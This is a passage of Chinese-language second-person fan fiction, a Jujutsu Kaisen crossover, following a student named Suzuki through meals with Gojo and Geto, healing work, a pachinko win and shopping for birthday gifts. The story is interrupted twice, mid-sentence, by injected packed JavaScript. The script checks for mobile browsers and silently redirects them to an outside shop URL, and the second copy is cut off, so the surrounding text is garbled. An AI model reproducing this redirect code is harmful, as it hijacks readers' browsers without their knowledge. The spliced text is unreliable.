“你是怎么吃这么多的?”他是今天第三个这么问的。 如果不给他一个回复,大概接下来三天,不,一周,一周都会被时不时提问的。 “你真的想知道吗?” “真的,我觉得饭量大是很酷的事情!” 硝子在你旁边小声发笑:“太失礼了。” “既然你诚心诚意的发问……是冥想,我在冥想,总之大脑消耗了很多热量,唔,差不多就是这样。” 七海筷子尖的刺身掉到了船里,在冰块上留下浅红的痕,他重新动筷夹了起来,嘴里念了句失礼。 “诶?” 瞧,如此一来你顺势就把话题转到了其他地方:“灰原,你平时会思考形而上的问题吗?”答案多半是否。 “我想那个做什么?” “有关世界的意义,人生的意义,未来的道路之类的?” “不,完全没有。” 杯之具名者总是试图相互吞噬,就在你吃了很多的时候,你的思想愈发清晰。前往漫宿的名额比公务员编制还紧俏,你已身在其中,便不能容许自己再被剔除,自然也不理解你的真正前辈与后辈们过于旺盛的欲望:你已经获得长生,衰老和世间寻常病痛再也束缚不住你,这已经足够了。 欲望是漫宿的通行证,更何况杯之领域本就包含感官欲求,你的同事上级们则永远不会满足……说起来这一专业被吞噬的风险不小,也许你应该另找一个方向。 “这样啊,”灰原的答案也在意料之中,你啜饮杯中佳酿:“我有的时候会想,迄今为止做的这一切都是值得的吗?将未来奉身于所行的承诺上,真的合适吗?虽然谈不上后悔,或许我在以前做错了不少选择。人生漫长啊。” 杯,吞噬与被吞噬,既为享宴之客,亦为宴上佳肴,各种意义上的难舍难分,入行才发现专业对口性较差,前景渺茫,为了更好地活着,你果然应该转专业。 你将手指直接深入杯口的冰块,搅动,聆听杯壁嗡鸣,完全没注意其余人在用看怪人一样的眼神看你:“总之,我--你们怎么了?” 因寒冷泛红的纤细手指被抽出,你把它戳到了自己嘴里。 抬眼正对上夏油杰的凝望,你注意到他面颊在泛红。 唔,他们不会以为你在说什么风俗从良语录吧……天呢,格调都降低了,你摇摇头:“我好像把话题带到了奇怪的地方,你们聊。” 你低头开始玩手机,不再参与聊天。 出来玩还是很不错的,轻而易举就背弃了信奉许多年的道路,虽然你本来对司辰们就缺乏尊敬之心……想来诸位通晓者、长生者乃至具名者中也不乏的同类。 你不算特殊。 在那之后,你注意到夏油杰看你的眼神很柔软,硝子还和以前一样,五条悟有些不自然,你和他们三人中的两人都无话可讲。 目前是这样。 12. 第 12 章 你和两位不太熟的前辈的关系有所好转是在冬天,天气很冷,只有你不觉得,依然穿着还属于秋天的衣服--没别的原因,上个月钱花完了,否则你不介意合群。 不过你想当赞同这个天气适合吃些锅边热热的汤水。 “今天硝子前辈留在医疗室里救助任务失败的一级咒术师了,所以我们是去……” “善后。”五条悟告诉你:“我们已经很习惯给年级更大的咒术师收尾了,现场可能有些紧急情况,你负责不太严重的医疗。” 他还挺会激励人的:“如果没有紧要到需要回高专的伤员,我们就在外面吃饭,我请客。” 你谅必不会让他们回高专,要么痊愈,要么死亡。 后面半个是玩笑,而且严重的伤患都已经运回去了,根据有效情报,现场只有一名半损一级和一名辅助监督稳定情况和维持帐。 你说:“我有点饿了。” 五条悟很严肃:“最好不要。” 夏油杰擅长折中:“不然去吃放题?” 五条悟设想,并发出惊叹:“呜哇,说不定会被赶出去。” 你说:“便利店关东煮就行,想吃烫烫的食物。” “你还真是毫不客气的和前辈们点餐了?” “行吧,怎么说都是错。”你低头看自己的脚尖,其实你远不如行动拘谨。 “咳,行了,可别说我们欺负你。晚点吃火锅。” 你快速回答:“好的。” “你这家伙,偏偏挑这种时候接话。” “好了,任务要紧,先不说这些。” 因为夏油杰的友善调停,你们决定专心聚焦任务,只不过,你讲话阴阳怪气的能力似乎是被动技能,一不小心又把前辈惹毛了。 其实只不过是随便感慨了一句:“原来特级的前辈出任务也得巴士,我以为会专车接送什么的。”你禁言了一个本来很高兴社交的活泼人士。 虽然,你毫无恶意,几个月的时间你的同学老师仍然健康快乐生活,整体相安无事,足以证明你是诚心和他们相处。 “铃木,这些日子做咒术师的感觉怎么样?” “挺好的,感谢前辈们带我入行。”你说起这句话时的笑意也真诚:“我很喜欢祓除咒灵。” “是么,那真是不错。你能适应就太好了。” 他笑得有些憔悴,你有些好奇:“嗯?前辈,你不适应吗?” 你让第二位前辈也难堪起来,不过第一位沉默半路的笑出了声。五条悟嘲笑你:“你还真是不会说话。” 夏油杰接着说:“也没有,只不过是在替你高兴。” 这种事情就不用了,你侧过脸,看见他在阳光下的苍白脸色:“前辈过会多吃点吧。” 反正是另一位前辈请客。 从夏油杰的情况看来,他在这份职业上得到了不足以匹配投入的回报,毕竟是灰原最崇拜的前辈,小小年纪成了特级,你从那得来的信息在这边似乎不匹配。 你生出一些好奇:“前辈,特级任务很多吗?” “还可以,可能是最近换季没睡好。” 没有比春夏秋冬更适合睡觉的季节了,一句托词,也许是灰原的一遍一遍提起让你对眼前的人有了更多好奇,你不满足于此。“压力很大?” “这个啊,也许是有一点。但冬天诅咒也会蛰伏,对咒术师友好许多,只消一阵子境况就会好起来的。” 他的忧郁气质更甚于不在场的硝子前辈,你忍不住想给他的结尾加个后缀“但愿吧。” 五条悟打断了你接下来有可能说出的一切:“对了,杰。晚点我们吃荞麦面吧?那附近好像有一家老店。” …… 如果说你的情商有限,那这位前辈也不遑多让。 荞麦面……不是冰的吗?出锅过冷水,然后放到冰冰凉凉的酱汁里蘸着吃。不久之前你才说明了自己的第一志愿是热汤。 如果不是他故意的那就是夏油杰很爱荞麦面,你从对方看向好友的眼神中选择了更偏向后者的猜测,喜欢荞麦面……真是少年老成,不过以喜欢的食物来分类人类,这或许也是一种偏见。 你胡乱想了很多东西,最后觉得也不能因为偏好土味食物就……不过灰原对大米饭的偏好确实也过度到缺乏品味的程度,怎么会有人吃面条还配米饭呢? 灰原就会这样。 七海不是意大利人也为此愤怒,你同样觉得匪夷所思。 夏油杰的声音及时把你唤回公交车上。他说:“不了,我们就吃点热的东西吧。冬天在锅边喝汤也很不错,你觉得呢,悟?” “啊,那不就又让铃木得逞了,失-望!” 他们一个语调温柔尾音缱绻,一个讲话像小孩结语恶劣,你不由想到七海和灰原也是冷热交替的,大概世界上的友情就是这样子互补吧? 你一点也不生气啦,对方可是请你上学请你吃饭的恩人,你这个时候一点也不滞涩地像乐曲中衔接另一种乐器一样自然加入他们的合奏:“我想吃寿喜锅,谢谢前辈。” 五条悟倒吸一口气,然后你们中谁也没说话。直到巴士从一站停靠中再次运动起来,他才像想到什么一样看向你: “铃木,你像ai。终于理解和你交流的违和感了。” “ai是什么?”时代变了,你已经不是最时髦的人了,你没听过这个词。 夏油杰回答了你:“人工智能。” 目前信息尚不支持你联系自身和人工智能的概念,你不说话,等待两个好心人的进一步解说。 “看吧,就是现在这样。”五条悟了然一笑。 所以呢?你还什么都没理解,在你茫然的眼神中,他对你竖起了手指:“不管别人怎么说你都不会生气的对吧?也不会觉得被冒犯。” 这有什么,你继续听。铺垫太长了怎么还没讲到ai那集。 “……你就没什么要问的吗?” “可是我不问前辈你也打算接着说的吧?”他一看就不是那种讲话讲一半的人。 “啊啊啊,”五条悟感慨的声音抑扬顿挫,像没吃饱饭要再来一份炸薯条的小学生:“所以才说你像ai,智能客服知道吗?” 你摇头。 “嘁,真是没见识。” “悟的意思是,他的性格和说话方式有的时候会引起一些反应,但你从来不对他的态度和语言大惊小怪。而且在有些他都没预料到的地方突然给出了回应。有点……无厘头,这样吧。” 五条悟的声音出现在你的另一边耳朵里:“简直就像是只能通过检索关键字然后比对信息再自动给出回复的……铃木,你该【转人工】了。” 哇,这绝对是很失礼的评价,他是说你是伪人吗? 你头往另一边偏去,稍加靠近了夏油杰:“怪我情绪太稳定了。”这就是你的全部答复。 “说话对你来说是上班吗?你就不想说别的?” “还好。我觉得前辈你人还不错,说话也好听。”你打了个哈欠,怎么还不到站,虽然今天你估计又没机会亲手祓除献祭,但可以吃饭。 “……呃,你说真的?” 看来他也不是没有自知之明嘛,不过那些流于表面的无恶意调侃对你不造成什么影响,你不介意:“以前接触过意外糟糕的人,所以到了高专就像回家了一样。快乐老家。” “……” “不过前辈你这样得不到自己想要的回应就发小脾气的样子还真是任性呢。” “这种事情轮不到你来说吧!而且这完全与事实相悖。”他说话音量甚至传到了司机耳朵里:“我决定了,还是讨厌你,铃木。哼。” 像五条悟一样的人啊,你看了他一眼,没办法想象他能一边社交一边讨厌别人,慢悠悠道:“前辈的话,应该会主动避开讨厌的人吧?”横看竖看你都觉得他是越生气越沉默的那一类,现在么,好着呢。 “够了,再这样我要跳车了!”话是这么说,他的语气却变得轻快。原来是个氛围组,你歪过头去看窗外风景,至少在任务开始前,你不在这位前辈身上花费更多时间。 这次的任务对两位特级来说易如反掌,不如说他们两个过来是任务过程中最大的大动作,路途足足有七八公里,在那之后……夏油杰放出了一些他的咒灵,一切问题都被解决。于你而言亦如是,原本还有些痛苦呻吟的不认识职业咒术师们在你手下只消片刻就痊愈--最严重的伤员此刻已在咒术高专,不过你的反转术式确实有所进步。 缺点在于被救助的人嘴巴和摔在地上的镜子一样,碎碎的。 “感觉比硝子小姐治愈的还更快些。不错,我看好你。” 他在说什么啊?这可不是医疗体系,还给患者做满意度评价的,你冷淡地起身,走到下一个病患前,一位左手不能动还要用右手单手回信息的西装辅助监督。 敬业唔。 他的嘴上功夫不仅针对你,对夏油杰和五条悟也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664970|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太收敛:“这种任务对特级来说轻轻松松,要我说就应该多给你们锻炼的机会,分开来出任务不就行了?今天最强五条悟完全没派上用场。” 你偷偷看手机屏幕上那个辅助监督正在回什么,入目就是道歉,接下来是汇报任务情况。也许就算在世界末日前一天她也会这么勤劳,坚强的女士。 你低声问询她的伤处,得到答复后静静地替她治疗,任务结束就能吃饭了。 你的治疗比夏油杰大杀四方来得更快些,他还没回来。 对五条悟的判断没有问题,他站得离你不近,也不回答这个精力过剩的痊愈者。他擅长跑路。你想,以后你可以再在治疗程度上多下苦功夫,这样有些人治疗到半好不好,就也没闲心思说话。如此最好。 那个人还问你怎么看。 你对医疗评价体系很不感冒,也不爱cosplay服务员,所以你的评价是,你一本真经:“我觉得这样不好。” 有人不喜欢听见反对意见,鼻子像马,哼地一声喘出口气:“嗯?你是说给年轻人多锻炼的机会不好么?” 据你所知,咒术师是业务员,总监部是管理者。基层和组织部的工作不能一概而论,当然也轮不到他来管理安排任务派放,不过喜欢高谈阔论的也不只是咒术师啦,互联网上搞模拟联合国外交的情况比比皆是。 能力上比不过就只好在资历上自夸,不会反转术式就从医疗病患的角度对工作人员指手画脚,灵活站位。 你讲话凉飕飕的:“可是他们锻炼了,你不就没办法在自己骄傲的岗位上贡献价值了?年纪大了更要多多保持前瞻意识,不然战略地位不稳。” 此时,反转术式的珍贵地位就显现出来了,你和咒术师们不完全算一条赛道的,而且……你更稀有。物以稀为贵啊。 你收获了彻底的沉默。 也收获了前辈的夸奖。 五条悟给你发的第一条简讯:干得好 你不知道他什么时候有的你的手机号,不妨碍你回复:前辈不客气(*^-^*) 五条悟:你什么时候这么会说话的,不管怎么样,保持。 你就懒得回他了,在夏油杰的身影从楼里出来时,你注意到他手上有个黑色小球,他把它吞了下去。你的视线就没从他身上下来。 也许他看出了你的疑惑,因为你从没试着遮掩。夏油杰走到你身边的时候向你解释,这是术式的一部分,如此他就可以操纵这些被驯服的咒灵。 你也不是没有过乱吃东西的岁月,你理解。唇舌期盼尝味,十指期盼抓扼,你可以吞下世界上的任何东西。不过夏油杰的表情隐忍中透露和愉悦无关的冷峻,只是很快被柔和眉眼遮蔽。 你猜他的进食过程不像你经历过的那样:并非是对欲望的满足,而是敦促自己要这样做吗? 问题:是欲望如潮水迫切,所有的满足只在下咽的前一刻响应,在那之后是更难弥补的欲壑难填令人无法忍受,还是哺食不愿意入口的厌憎糟粕的那一刻更不能原谅? 赤杯认为的答案是一样,因为苦痛才是她的本质。 日光大盛,即使在冬天也照得人暖洋洋。你已经做好准备吃饭了。你想到曾经秉烛夜读过的一本书,其上阐述了二十六种诱惑和七类苦痛,你在阳光底下眯着眼睛,夏油杰却以为你在对他说话,即使你说的小声他也在听:“人降生于世的第一声是啼哭。”众生皆苦啊。 “啊,嗯?”你们都没记错,他的上一句话是在介绍自己的术式,只是你根本没心思评价。 “没什么,生命饱含可能性,但本质从一开始就定下。我只是……”你只是想到有些人的苦痛比另一些人要漫长,而你--打住,话才说到一半,警醒回过神,另一位前辈也走到了夏油杰的另一侧。你坚持说完了这句话:“我只是在想过会要不要买一个面包带回去。” 五条悟也许心情正好,顺口就包下了你的便餐:“好,我请客。” “谢谢前辈。” “【转人工】,不要在这种时候回复地这么快啊。你是故意的吗?铃木。” “没有,只是一听见别人请客我就像,就像正常走路突然踩到香蕉皮一样加速了。总之就是谢谢。” 五条悟的佯装责问在听见你的话时也消大半,转为狐疑:“你钱呢?” “这个嘛。。” 于是他就懂了,夏油杰也懂了,你们就都明白过来。没人对你的花钱习惯指手画脚,你吃上了免费的饭。 13. 第 13 章 你的术式是反弹,这是你在等待牛肉烫熟的时候从好心人五条悟嘴巴里知道的消息。 很擅长格斗游戏的前辈一次又一次纠正你:“……是弹反,你能不能不要讲话像小学生吵架。” 你觉得这两者区别不大,无意分辨。 “嗯。” “……” 不过关于自身术式,你也不是不可以多说两句,在口中没塞满食物的间隙:“在敌人攻击的某个时间点发动攻击,就能无效化此次伤害,并且反弹一部分使他自食恶果,就是这样,所以把这个机制叫做--” “你多吃两口,铃木。”等夏油杰企图打断你们双方吟唱而把菜从纯黑铸铁锅夹到你盘子里的时候,你们三个都愣住了。 筷尖淹没在一整片烫灰沾着焦褐色汤汁的和牛里,停在你不远处。 你将它划拉到盘中,动作粗蛮:“谢了。” 几分钟内,你们三人都像无事发生一样继续默不作声吃饭。 你看见俊秀美貌的少年动作笨拙,眼中尴尬,于是也配合他一声不吭。他应该相信自己是个好人,所以才会因为微不足道的小事束手束脚吧?这念头像是海浪拍岸一样略过你的脑子,很快又退潮。 他拥有乌黑的头发,在最不应该忧愁的年纪一肚子心事;另一个呢,充满自信,青春能量蓄势待发,身上的傲气仿佛可以吹成濒临爆破的臌胀气球,只不过同样也像牵了线的风筝,一端在天上,一端……大概是在高专或者夏油杰的手上。 而你,你17岁的时候也是这样吗?哈哈,20世纪可不太平,更不用说你遗忘了许多。不管怎么说,你现在脑袋里回荡的绝不是青春期小朋友同款的感受与忧愁,这两人虽然在你旁边,但你就好像想起一个陌生人一样想到他们,然后很快又推到一边。 就算你们仍然进行对话,有所交互。 在回去的路上,你的前辈指责你,不把人当回事。 “所以,五条前辈,你的意思是,团队里最离经叛道的人必须是你,是这个意思吗?” 给他气到咯。 你们的关系从【连话都懒得说的陌生人】擢升到【见面可以聊天气和一起吃饭的熟人】。 -- 你因为花钱这事情暗自懊恼过几次。冬天总和消逝与死亡挂钩,是为凶兆,所以你才总想被过低的气温和凛冽的北风提醒--多喝热水。而你的同期灰原雄也一次又一次在寒暄中向你问候:“穿这些真的不会冷吗?”你身上是秋装和校服外套,因为没钱买大衣,或者羊绒衫。 12月3日,星期天,你正在为接下来前辈的生日发愁,灰原一句问候直接让你丝滑伸出索要的小手:“有点冷,没钱,你帮我买衣服吗?” 今年的冬天比较早,其实也不见得……你胡思乱想的,大雪总在12.6-12.8之间,而你发钱的日子更在那之后。按理说这也无关紧要,可偏偏你在11月花完了钱,在12月头得知了有人将在一周内生日,偏偏又就在发薪日前几天。 “诶?” 七海对数字有点敏感,体现在生活方方面面,你从他看待你结账的眼神中就能感受到,他知道什么时候你是略有盈余,什么时候离钱包底线一物之隔,在你拿不出一张钞票时他也知道,只不过他很谨慎地不随意公开给出意见。这时候他也没忍住快言快语了,是对灰原:“你说你老问她干嘛?” 有人终于恍然大悟:“所以你不是不怕冷,只是没有冬装的预算吗?” 在一个满怀希望的学徒面前,你觉得自己也年轻了,或许是你这些年里最接近16岁的时光……也因此你的表情转为了青少年一样能被任何困难打倒的严酷,也像16岁时的女孩那样因不敢声张而逞强:“不是的,我就是心里热,由内而外热。” 实际上你打定主意悄无声息的搞到钱,买了衣服再去礼品店凑合给五条悟一份礼物。 如果你能开拓金钱通道,发挥想象力,搞到一笔不那么违法又数额可观的钱,你就不仅能实现眼下两个小目标,还能再补上家入硝子已然逝去的17岁生日的礼物--她生日在11.7。 你几天前才知道,她无意张扬。“老了一岁对女人来说可不是好兆头。”问题是她就算把在母亲肚子里一年算上,今年也才18.不过好在不用给她礼物增加开支了,当时你是这么庆幸的。 此一时彼一时,你即将在犄角旮旯里找到发财之道。如果可以的话你还是希望给这个友善幽默的少女一点好东西,没人会真的讨厌礼物。 “嗯?那教室的温度……”他指的是,你每天来得最早,最早把窗户全部关上,又把空调打开这件事。 你语气暗含谴责:“七海,退一万步说你就不能向灰原一样无条件相信别人吗?” “--退到十年前也做不到。” 打定主意这事本身令你踌躇满志:“所以是一万步,十年前也只是3000多天嘛!” 眼下,你又陷入了自己的思绪当中,他们早也习惯你会突然想入非非,以为你习性如此。和同伴告别半天或者一天,然后摇身一变就立刻有钱的事情无论如何都会引起关注,至少七海足够聪明能看出端倪,首先把不能共同行动的项目全部排除。 来钱快的大部分方法就白砂糖一样被漏勺随意抛了下去。 其余的……七零八落碎石头一样的主意被你东挑西选,一个没选中。你决定今天下午就开始留心城里的机会,老实说你是赞同五条悟对你帮助不小这一事实的,而且你们现在关系不差,送件得体礼物属实应当……而且你真的很想要一件大衣,而且你不想要丑又臃肿的,你早就过了还没养成审美的年纪,而且可悲的是,你对它要求不低。 以致于七海请客关东煮的时候你的挑选都犹犹豫豫。心思不在其上。 对比另一个吃饭积极的同期,你的差异过分明显了。 “怎么回事,在想前辈的礼物?”七海看起来不近人情,实际上很擅长不动声色照顾人,然而正直和体贴在七海身上不如金发和冷峻的脸显眼。鉴定为晕轮效应导致的误读,但你和他相处起来很悠闲。 “有没有一种可能。”你表情严肃认真,可他看见你的脸就后退了半步,有人早就见惯你用这种表情讲天方夜谭了,“我可以在半天之内搞到20万?” 他垮着脸说完了自己的建议:“我的建议是看起来还可以实际上毫无用处的小物件,不低俗掉价,不太敷衍。比如包装好只需要额外50元购买纸袋的香薰。” “如果我去抢银行的话你会向警方举报我吗?” 灰原:“我会抱住你的腿不让你往里面走的,铃木。” “那你会和我一起对付灰原吗?七海,这样去监狱还有个伴。” 灰原:“可是监狱是分男女的吧?” 你的异想天开固然惹人恼火,但灰原的天然更令他难以接受,因为他知道,灰原是带着认真劲讲话的:“我才不会进监狱!” 你们的对话被店员当做高中生之间有来有往的调侃社交,微笑挂在嘴角。 毫无用处的小物件作为礼物就太不真诚了,你也不是真的【完全弄不到钱】,只是手段……可能他们会觉得激进?在心不在焉选取第二串昆布的时候你就想到了好主意,之后的一些话只是试探而已。 看看伙伴们的道德标准均值。 检测结果都是优,不过其中也不是没有空子可钻。 你握着双拳,这一般是灰原在激动时的动作,对两位同学宣布:“今晚我请大家在市中心吃晚饭,好吃的。” “补药抢银行辣!” 七海:“……”随即他叹了口气,问你:“你想做什么?” “就是一些……”你开始对手指,青春期的少女动作你还是头一次在他们面前做,新招式让七海警铃大作,即便如此你也毫无障碍地说出了想说的话:“今天我运气挺好的,你们想看我玩弹珠吗?” 咒灵是无论如何也杀不完的,这个事实让咒术师的职业略显悲壮,好像大家在做的所有努力,都只是企图减速一辆注定撞向绿化带的车。不过赛博生命一样的咒灵对你来说……那可是业绩的积累和财富的叠加,无形财富。 你在前几个月勤劳积攒的好东西,如果今天用于祈祷……谅必会获得积极的回应。 七海问你:“你认真的?” 你详细和他阐述了这件事的合理之处,恰恰在于官方机构都在一定程度上认可了它的合法。先去弹珠机get一些兑换手办和周边的筹码,然后直接顺畅地带着筹码兑换法人不同的另一家店铺的……一般等价物。好巧不巧,这几家店都开在一起。 你说的这些完全是社会常识,七海知道,问题在于: “你没成年。” 虽然他没那么容易被绕进去,但是……“硝子前辈早就在吸烟了。”也没见谁不许。 刑事犯罪的抢银行和稍微提早一些年的娱乐活动,后者分明无伤大雅,你成竹在胸。 “你会输,连剩下的钱也失掉。” “绝对不会。”你表现出的笃定远超他的质疑,“我会赢,20万。” “那些输光工资的成年人,进去之前也有你的意气。” 你摆了个pose,这是你在电视上看到的,主角伸出手臂用手指前方的自信姿态:“今天的我,可是有超人般的强运啊!” “……” 你的话术不够煽动,七海拒绝支付1000赞助费,灰原畏于伙伴刀锋一样的眼神,只提供500,老好人一样叮嘱你:“花完了就要乖乖走哦?” 你哼了一声,因为坚守未成年人的身份阵地他们都不愿意陪你进去,你的背影像一匹孤狼,独自冲进冰寒的月色。 此时青天白日,阳光照得人忍不住眯起眼睛。 哪一台机器的运势好不是你关注的问题。在上午开门的一小时内,概率优越的机器就会被准备许久的观察者占用,更有甚者一天都不会离开,你根本没有捡漏的可能。 反正你也不需要这些统计学手段,看心情挑个椅子合适的座位,然后闭目祈祷开玩就好了。 500,虽然只够启动两次,不过那也只是兑换完卡片再换钱再用钱换弹珠的流程问题,对吧?你双手稳健,身体舒展地倚靠在座椅上,随便戳戳机器上的按键…… 你去了两次柜台,回来以后发现位置已经不在空闲。看来也有晚起的鸟儿不幸遇到了你,这台机器的好运只对你生效。 没关系,没关系,你完全乐意让他见识下。随手拉开了那个表面全神贯注实际上多半只是特意坐那的人旁边的座椅。 你的心思很简单,等他输完了,发现你怎么还在,他就会一边惊讶一边嫉妒,说不定还想再试试你现在的位置。你只是不算特意的想让他看见而已。 渐渐地,你身后开始有人看着你弹珠。他们的情绪甚至比机器里得大奖音乐还震荡,而你只是在重复作业而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“人没办法想象自己不知道的事情。”你的意思是,他就算自以为想,也难以理解有关你的诸多事实,而且你们的初遇可能让他觉得有点愧疚,他或许觉得自己没有拯救到你。 当晚的受害者死了那么久,在这个冬天也冤得要从虚界爬出来了……你被自己的想法逗笑,硝子不明所以:“你觉得他喜欢你吗?” “我觉得不像。” “哦,夏油以前没恋爱过。”她又送了一条消息给你,“你觉得他怎么样?” “……”因为发展的方向像劈叉一样突然,你在短暂的愣怔后给出的回答也略微匆忙,匆忙到真实且不知天高地厚:“还行。” 一个简短而符合你本心的答案。 “哇哦,你眼光不低。” 你们已经走出了室内,门口正站着整整齐齐的四个人,五条悟最先问硝子,再然后是你:“什么眼光不低?你战绩怎么样,听说已经绝望到要跑到这里赚开销了。” 你的前辈是优秀的守密人:“女孩子的秘密。” 你面无表情:“嗯,输光了。”然后从口袋里掏了1000给灰原,无意之间却露出了更大面额的钞票。 五条悟直接越过他的朋友,歪着身子到你面前,顺走了你口袋里所有的钞票。“不会吧,你这么能赢?” “还我,孩子就靠这些钱度过寒冬呢。” “竟然都是你在弹珠厅里赚到的吗,不是,你这丫头这么能赚钱怎么……”问得好,怎么就走上了一条看起来没有回头路的失足之道呢?如果你是局外人那么你也一定会想不通,如果你打算回答也会不知从何开口,幸好这些问题都不涉及到应对措施。你只打算敷衍过去。 你睁圆你的眼睛,好像也很好奇他想问什么:“怎么什么?”有人说会给你保守秘密的,让他自己圆谎去。 “……”他瞪了你一眼。 见好就收是良好美德,你退一步解释:“今天运气不错,以前……”以前玩的也不多。 七海是所有人中最关注你丰产所得的那个,他对金钱的敏感程度超过你们所有人之和,此刻他的金钱观受到了冲击:“你作弊了?” 这可是人家店门口,指不定有监控什么的,现在你可算是半只脚踏入科技社会,这种雷必不会踩,摇头:“都是合法所得。” 他以缄默作答,目光投向门口醒目18以下禁止进入的标志。 这个拆台大王,你敲他后脑勺。“过去的事情就让他过去吧,我想去买大衣,谁赞成谁反对?” “所以铃木,你其实还是有点冷,的?” “落后半个版本了哦,灰原。”你窜到五条悟身前,他正在对夏油说些什么,你正是看准了中间可以容你通过的空隙,钻进去,然后抽走他手上握着的属于你的【合法所得】。你听见了他的尾音,他在说19万。 “谢谢前辈帮我保管,下次请你吃饭。” 两位相貌优越的前辈一起夹击你的目光让你回忆起疑心暗起的一段过往,他们像是意图定罪但苦于无证据揪出你的当局。你举起双手:“警探们,别用这种眼光看我,好吗?我是良民。” 开始后退的步伐遭到了一只宽厚的手阻碍,夏油杰的温度透过秋天不保暖的毛衣传达你的肩头,你问他:“前辈有何指教?” 硝子还在你背后“哇哦”了一声,语调像没拿到工资的脱口秀氛围组。 他最后什么也没问你,你友好圈起他的手腕,然后拍拍肩头,对两位友好招手:“拜拜。” 14. 第 14 章 连灰原都在你结过账以后悄悄问你:“你和夏油前辈,以前也认识吗?” “你听说的是怎样的?”面对灰原只要直截了当的问他情况再跟着寻找应答就好了,左右话术都是与他沟通的障碍,弯弯绕绕对方总会圆润地听不懂。 “听说是五条前辈那边担保入学,我以为你可能在五条家有亲戚关系……什么的,不对吗?” “差远了,不过说到入学确实应该感谢他。我和两位前辈第一次见面的时候他们正好在调查一桩失踪案件,后来发现和咒灵无关,就没事了。那个时候我陷入了一点小麻烦,夏油前辈心地善良,帮了我一把。富兰克林效应是这么说的,帮助你第一次的人往往也会愿意帮助你第二次,所以……”你推测夏油杰大约是比较在意“价值”和“自我实现”的高追求人士。 你收好找零,扭头看灰原和七海,想到高专零散的生源,正好另起了一个话题:“说到这里,我想到一件事。东京京都两校的学生加起来,可能也只有几十个,这还是往多里算的。你们有想过那些没被招纳入学的咒术师和辅助监督们会怎么样吗?” 至少在你没见到他们之前,看见床上的咒灵时,你以为你疯了。 “……这个--”灰原没想过。七海也沉默。 “不管是被周围人看成可悲的疯人还是在心惊胆战中度过一生,或者运道更坏,在一次和咒灵的对视中直接丧生。”你说完比较悲观的三种结果后,在两位同期静待的下半句又折返回今日第二主题:“我就送五条前辈一支钢笔吧。” “铃木太过分了!” “确实恶劣。” 灰原率先开口,七海搭腔,你耸了耸肩:“我不是说这样不好,但现行的调研和排查手段是否有点过时呢?日本可是有1亿人口。不过……大概也轮不到我们入学几个月的一年生来指摘。我的重点在于突出表述如果我没入学可能遭遇的坏事123,以及强调对前辈的感激。” “原来是这样!对不起铃木,误会你了。” “没事,你帮我拎袋子。”你被橱窗里漂亮的模特吸引,把手里的袋子递给灰原,指着那件双排扣长及膝盖的大衣询问:“你们觉得这件深红色的外套会适合我的毛衣吗?” 你的第二件衣服是七海帮你拎的。 前辈们都是好人,同期也不遑多让! 高专的夜色几乎没有,人少地偏山水自然,白天还能说两句钟灵毓秀之类的夸奖话,到了晚上连路灯都点不齐。 你不怕黑,和同期们告别后拎着给硝子买的迟到生日礼物,给她发信息得到人在寝室的回复后走向了二年级那边的宿舍。 看得出来,她很高兴接受你的赠与,不过对礼物本身兴趣一般。 “哇,大手笔,看起来不便宜。” 你今天置办了不少好东西,给硝子是买衣服之余看上的一颗珍珠点缀一些亮晶晶碎钻的项链,实用性么……结合校服的款式,只能说搭配程度不高。你寄希望于毕业后硝子的服装品味。 “还好,今天收获不少。” “真大方,谢谢。对了,你给五条买了什么,应该也给他买礼物了?” “一支钢笔。这种不会出错。” “这个啊,倒也是,但我怀疑他用不上。”作为得到你回应的诚意展示,她也从冰箱里拿出了自己准备的礼物:“你看这个。” 你的前辈准备了一瓶酒。莫斯卡托。 硝子如数家珍:“意大利产区,浓郁花香,荔枝和提子口味,微泡低度数,适合新手入门。” 你看见了11.5%vol的标志,确实是柔和的起泡酒,大口饮用也不在话下。你还知道了一个不算秘密的小秘密,你的前辈私下里确实是烟和酒都来。 “新手……另外两位前辈不太喝酒的吗?” “哦呀,听你这话,看起来你也会喝酒?不然大概会先惊讶大家都还没到饮酒年龄这件事情。不要紧,我有两瓶,包够的。确实,他们两个问题少年反而是生活习惯上健康的好孩子,真是奇怪,你说对不对?” 年龄什么的,你早就达到了,对酒精偏好一般,偶尔也享受微醺的愉悦,但没上瘾。你称赞:“真是富有想象力的礼物。应该是形象上的差异,耳阔和墨镜……”你捏捏耳垂,又指了指眼前,一般高中生不搞这些,至于他们是不是真的问题少年,老实讲你不那么在意。 “哈哈,你说得对。正好夏油给我发消息,问我在不在,我想他也是来讨论礼物的,那我就让他下来了?” “既然如此--”你从床沿站起身,准备告辞。 门口已经响起了三声咚咚咚的敲门声。所以真的有那么着急吗?要在门口发消息,得到回应以后立即敲门,你挠了挠头。 “请进~”硝子也一骨碌从床中间坐起来,面朝门的方向,在对方进来时开腔:“星夏听见敲门的时候已经准备好从窗户跳下去了。” “……”这种事情不存在的,你淡淡朝门口打了招呼,掩饰尴尬最好的方法就是表现得坦白:“夏油前辈晚上好。” 于是不自在的人变成了对方:“你好……你是来?” “你打算送五条什么?” 夏油杰拿出一个盒子,打开:“手表。你呢?” 她又拿出了那瓶酒。“刚才星夏还问我你们有没有饮酒过呢,我说大概没有,你有吗,夏油?” “……没有。” 手表啊,看得出来大家送礼水平都比较一般,你心中有了底。不怕送没用的东西,就怕别人都有用。 硝子又问你:“你知道七海和灰原打算送什么吗?” “老实说,我们出去光想着吃什么了。礼物应该都是私下买的。但没事,他们送不出什么好东西。” 于是你的硝子前辈也就放下心:“有你这句话就好了。” 